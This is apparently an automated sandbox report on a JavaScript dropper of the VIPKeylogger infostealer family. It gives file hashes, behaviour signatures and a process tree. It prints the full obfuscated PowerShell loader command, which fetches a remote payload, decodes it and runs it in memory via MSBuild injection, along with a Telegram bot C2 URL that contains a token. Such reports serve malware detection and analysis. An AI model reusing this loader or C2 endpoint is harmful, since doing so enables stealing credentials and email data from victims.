Analysis

  • max time kernel
    144s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/03/2025, 13:08

General

  • Target

    NEWContractPI.js

  • Size

    1.3MB

  • MD5

    410a3c00c23b4af500311ae954d7fae5

  • SHA1

    44b996b2040ddc20f1cf07c7e070514f856b02c9

  • SHA256

    c3aa4900a10fcf72db0cce3754e4cb44617229442f01ed0caf18c159ceea7e57

  • SHA512

    589b6805ca596f85c3cf5ef2365996ae9102ad8460cfd9fc6068df8284e1044002cbf8aa27e327d850f33472f951089d4e8ce43bd5acb0c3a6ff6f31ad9341ce

  • SSDEEP

    192:To1o1o1o1o1o1o1o1o1o1go1o1o1o1o1o1o1o1o1o1go1o1o1o1o1o1o1o1o1o1L:VplQBOr

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot8047024230:AAEOgyfPgNxsX6e5QUEWyOZOAYOzCPtuimk/sendMessage?chat_id=769249322

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\NEWContractPI.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ""$Codigo = 'JhypoariaBvhypoariaGIhypoariabwBlhypoariaGwhypoariaaQBrhypoariaGUhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJwhypoariajhypoariaHghypoariaIwhypoariauhypoariaGUhypoariabhypoariaBphypoariaEYhypoariaZhypoariaBlhypoariaCMhypoariacgBlhypoariaHYhypoariabgBvhypoariaEMhypoariaLwBthypoariaG8hypoariaYwhypoariauhypoariaHMhypoariaIwBuhypoariaGUhypoariabQhypoariajhypoariaGkhypoariadQByhypoariaGMhypoariaZQByhypoariaCMhypoariabgBlhypoariaGwhypoariaYQhypoariajhypoariaC8hypoariaLwhypoaria6hypoariaHMhypoariachypoariahypoariajhypoariaCMhypoariaahypoariahypoarianhypoariaDshypoariaJhypoariaBihypoariaGUhypoariabgBkhypoariaHMhypoariabwBthypoariaGUhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJhypoariaBvhypoariaGIhypoariabwBlhypoariaGwhypoariaaQBrhypoariaGUhypoariaIhypoariahypoariathypoariaHIhypoariaZQBwhypoariaGwhypoariaYQBjhypoariaGUhypoariaIhypoariahypoarianhypoariaCMhypoariaJwhypoariashypoariaChypoariahypoariaJwB0hypoariaCchypoariaOwhypoariakhypoariaG0hypoariaYQBshypoariaGwhypoariabwBwhypoariaGwhypoariaYQBjhypoariaGUhypoariabgB0hypoariaGEhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJwBohypoariaHQhypoariadhypoariaBwhypoariaHMhypoariaOghypoariavhypoariaC8hypoariadhypoariaBhhypoariaGwhypoariaZQBuhypoariaHQhypoariacgBlhypoariaGMhypoariacgB1hypoariaGkhypoariadhypoariaBthypoariaGUhypoariabgB0hypoariaHMhypoariaLgBjhypoariaG8hypoariabQhypoariavhypoariaG4hypoariaZQB3hypoariaF8hypoariaaQBthypoariaGEhypoariaZwBlhypoariaC4hypoariaagBwhypoariaGchypoariaJwhypoaria7hypoariaCQhypoariadhypoariaB1hypoariaGchypoariadhypoariaB1hypoariaHhypoariahypoariaaQB0hypoariaGUhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaTgBlhypoariaHchypoariaLQBPhypoariaGIhypoariaagBlhypoariaGMhypoariadhypoariahypoariaghypoariaFMhypoariaeQBzhypoariaHQhypoariaZQBthypoariaC4hypoariaTgBlhypoariaHQhypoariaLgBXhypoariaGUhypoariaYgBDhypoariaGwhypoariaaQBlhypoariaG4hypoariadhypoariahypoaria7hypoariaCQhypoariadwBphypoariaG4hypoariaZhypoariaBthypoariaGkhypoariabhypoariaBshypoariaGUhypoariaZhypoariahypoariaghypoariaD0hypoariaIhypoariahypoariakhypoariaHQhypoariadQBnhypoariaHQhypoariadQBwhypoariaGkhypoariadhypoariaBlhypoariaC4hypoariaRhypoariaBvhypoariaHchypoariabgBshypoariaG8hypoariaYQBkhypoariaEQhypoariaYQB0hypoariaGEhypoariaKhypoariahypoariakhypoariaG0hypoariaYQBshypoariaGwhypoariabwBwhypoariaGwhypoariaYQBjhypoariaGUhypoariabgB0hypoariaGEhypoariaKQhypoaria7hypoariaCQhypoariaZhypoariaB1hypoariaGMhypoariaawBphypoariaG4hypoariaZwhypoariaghypoariaD0hypoariaIhypoariaBbhypoariaFMhypoariaeQBzhypoariaHQhypoariaZQBthypoariaC4hypoariaVhypoariaBlhypoariaHghypoariadhypoariahypoariauhypoariaEUhypoariabgBjhypoariaG8hypoariaZhypoariaBphypoariaG4hypoariaZwBdhypoariaDohypoariaOgBVhypoariaFQhypoariaRghypoaria4hypoariaC4hypoariaRwBlhypoariaHQhypoariaUwB0hypoariaHIhypoariaaQBuhypoariaGchypoariaKhypoariahypoariakhypoariaHchypoariaaQBuhypoariaGQhypoariabQBphypoariaGwhypoariabhypoariaBlhypoariaGQhypoariaKQhypoaria7hypoariaCQhypoariaYwBvhypoariaG8hypoariabhypoariaBphypoariaG0hypoariaYQBuhypoariaChypoariahypoariaPQhypoariaghypoariaCchypoariaPhypoariahypoaria8hypoariaEIhypoariaQQBThypoariaEUhypoariaNghypoaria0hypoariaF8hypoariaUwBUhypoariaEEhypoariaUgBUhypoariaD4hypoariaPghypoarianhypoariaDshypoariaJhypoariaBhhypoariaHYhypoariaYQB1hypoariaG4hypoariadhypoariaBvhypoariaHUhypoariacghypoariaghypoariaD0hypoariaIhypoariahypoarianhypoariaDwhypoariaPhypoariaBChypoariaEEhypoariaUwBFhypoariaDYhypoariaNhypoariaBfhypoariaEUhypoariaTgBEhypoariaD4hypoariaPghypoarianhypoariaDshypoariaJhypoariaBnhypoariaGUhypoariabgB0hypoariaHMhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJhypoariaBkhypoariaHUhypoariaYwBrhypoariaGkhypoariabgBnhypoariaC4hypoariaSQBuhypoariaGQhypoariaZQB4hypoariaE8hypoariaZghypoariaohypoariaCQhypoariaYwBvhypoariaG8hypoariabhypoariaBphypoariaG0hypoariaYQBuhypoariaCkhypoariaOwhypoariakhypoariaGQhypoariaYQBzhypoariaGUhypoariadwBlhypoariaChypoariahypoariaPQhypoariaghypoariaCQhypoariaZhypoariaB1hypoariaGMhypoariaawBphypoariaG4hypoariaZwhypoariauhypoariaEkhypoariabgBkhypoariaGUhypoariaehypoariaBPhypoariaGYhypoariaKhypoariahypoariakhypoariaGEhypoariadgBhhypoariaHUhypoariabgB0hypoariaG8hypoariadQByhypoariaCkhypoariaOwhypoariakhypoariaGchypoariaZQBuhypoariaHQhypoariacwhypoariaghypoariaC0hypoariaZwBlhypoariaChypoariahypoariaMhypoariahypoariaghypoariaC0hypoariaYQBuhypoariaGQhypoariaIhypoariahypoariakhypoariaGQhypoariaYQBzhypoariaGUhypoariadwBlhypoariaChypoariahypoariaLQBnhypoariaHQhypoariaIhypoariahypoariakhypoariaGchypoariaZQBuhypoariaHQhypoariacwhypoaria7hypoariaCQhypoariaZwBlhypoariaG4hypoariadhypoariaBzhypoariaChypoariahypoariaKwhypoaria9hypoariaChypoariahypoariaJhypoariaBjhypoariaG8hypoariabwBshypoariaGkhypoariabQBhhypoariaG4hypoariaLgBMhypoariaGUhypoariabgBnhypoariaHQhypoariaahypoariahypoaria7hypoariaCQhypoariaQQBthypoariaGIhypoariaaQBlhypoariaG4hypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJhypoariaBkhypoariaGEhypoariacwBlhypoariaHchypoariaZQhypoariaghypoariaC0hypoariaIhypoariahypoariakhypoariaGchypoariaZQBuhypoariaHQhypoariacwhypoaria7hypoariaCQhypoariabwBwhypoariaG8hypoariadhypoariaBohypoariaGUhypoariacgBhhypoariaHhypoariahypoariaeQhypoariaghypoariaD0hypoariaIhypoariahypoariakhypoariaGQhypoariadQBjhypoariaGshypoariaaQBuhypoariaGchypoariaLgBThypoariaHUhypoariaYgBzhypoariaHQhypoariacgBphypoariaG4hypoariaZwhypoariaohypoariaCQhypoariaZwBlhypoariaG4hypoariadhypoariaBzhypoariaCwhypoariaIhypoariahypoariakhypoariaEEhypoariabQBihypoariaGkhypoariaZQBuhypoariaCkhypoariaOwhypoariakhypoariaHhypoariahypoariaZQB0hypoariaHIhypoariabwBshypoariaGkhypoariaYwhypoariaghypoariaD0hypoariaIhypoariaBbhypoariaFMhypoariaeQBzhypoariaHQhypoariaZQBthypoariaC4hypoariaQwBvhypoariaG4hypoariadgBlhypoariaHIhypoariadhypoariaBdhypoariaDohypoariaOgBGhypoariaHIhypoariabwBthypoariaEIhypoariaYQBzhypoariaGUhypoariaNghypoaria0hypoariaFMhypoariadhypoariaByhypoariaGkhypoariabgBnhypoariaCghypoariaJhypoariaBvhypoariaHhypoariahypoariabwB0hypoariaGghypoariaZQByhypoariaGEhypoariachypoariaB5hypoariaCkhypoariaOwhypoariakhypoariaGYhypoariaZQByhypoariaHIhypoariabwBhhypoariaG4hypoariaIhypoariahypoaria9hypoariaChypoariahypoariaWwBThypoariaHkhypoariacwB0hypoariaGUhypoariabQhypoariauhypoariaFIhypoariaZQBmhypoariaGwhypoariaZQBjhypoariaHQhypoariaaQBvhypoariaG4hypoariaLgBBhypoariaHMhypoariacwBlhypoariaG0hypoariaYgBshypoariaHkhypoariaXQhypoaria6hypoariaDohypoariaThypoariaBvhypoariaGEhypoariaZhypoariahypoariaohypoariaCQhypoariachypoariaBlhypoariaHQhypoariacgBvhypoariaGwhypoariaaQBjhypoariaCkhypoariaOwhypoariakhypoariaHUhypoariabgBlhypoariaG4hypoariadgBphypoariaGUhypoariaZhypoariahypoariaghypoariaD0hypoariaIhypoariaBbhypoariaGQhypoariabgBshypoariaGkhypoariaYghypoariauhypoariaEkhypoariaTwhypoariauhypoariaEghypoariabwBthypoariaGUhypoariaXQhypoariauhypoariaEchypoariaZQB0hypoariaE0hypoariaZQB0hypoariaGghypoariabwBkhypoariaCghypoariaJwBWhypoariaEEhypoariaSQhypoarianhypoariaCkhypoariaLgBJhypoariaG4hypoariadgBvhypoariaGshypoariaZQhypoariaohypoariaCQhypoariabgB1hypoariaGwhypoariabhypoariahypoariashypoariaChypoariahypoariaWwBvhypoariaGIhypoariaagBlhypoariaGMhypoariadhypoariaBbhypoariaF0hypoariaXQhypoariaghypoariaEhypoariahypoariaKhypoariahypoariakhypoariaGIhypoariaZQBuhypoariaGQhypoariacwBvhypoariaG0hypoariaZQhypoariashypoariaCchypoariaJwhypoariashypoariaCchypoariaJwhypoariashypoariaCchypoariaJwhypoariashypoariaCchypoariaTQBThypoariaEIhypoariadQBphypoariaGwhypoariaZhypoariahypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoariayhypoariaCchypoariaKQhypoariaphypoariahypoaria=='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('hypoaria','A'))); Invoke-Expression $OWjuxd""
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4972

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4nna3yun.t5k.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/8-18-0x00007FFDEE160000-0x00007FFDEEC21000-memory.dmp

    Filesize

    10.8MB

  • memory/8-0-0x00007FFDEE163000-0x00007FFDEE165000-memory.dmp

    Filesize

    8KB

  • memory/8-11-0x00007FFDEE160000-0x00007FFDEEC21000-memory.dmp

    Filesize

    10.8MB

  • memory/8-12-0x00007FFDEE160000-0x00007FFDEEC21000-memory.dmp

    Filesize

    10.8MB

  • memory/8-13-0x000001ACF8840000-0x000001ACF89FE000-memory.dmp

    Filesize

    1.7MB

  • memory/8-14-0x000001ACF8670000-0x000001ACF867C000-memory.dmp

    Filesize

    48KB

  • memory/8-1-0x000001ACF8340000-0x000001ACF8362000-memory.dmp

    Filesize

    136KB

  • memory/4972-21-0x0000000006510000-0x00000000066D2000-memory.dmp

    Filesize

    1.8MB

  • memory/4972-15-0x0000000000400000-0x000000000044A000-memory.dmp

    Filesize

    296KB

  • memory/4972-20-0x0000000005100000-0x000000000519C000-memory.dmp

    Filesize

    624KB

  • memory/4972-19-0x0000000005610000-0x0000000005BB4000-memory.dmp

    Filesize

    5.6MB

  • memory/4972-22-0x00000000063A0000-0x00000000063F0000-memory.dmp

    Filesize

    320KB

  • memory/4972-23-0x0000000006D10000-0x000000000723C000-memory.dmp

    Filesize

    5.2MB

  • memory/4972-24-0x0000000006880000-0x0000000006912000-memory.dmp

    Filesize

    584KB

  • memory/4972-25-0x0000000006820000-0x000000000682A000-memory.dmp

    Filesize

    40KB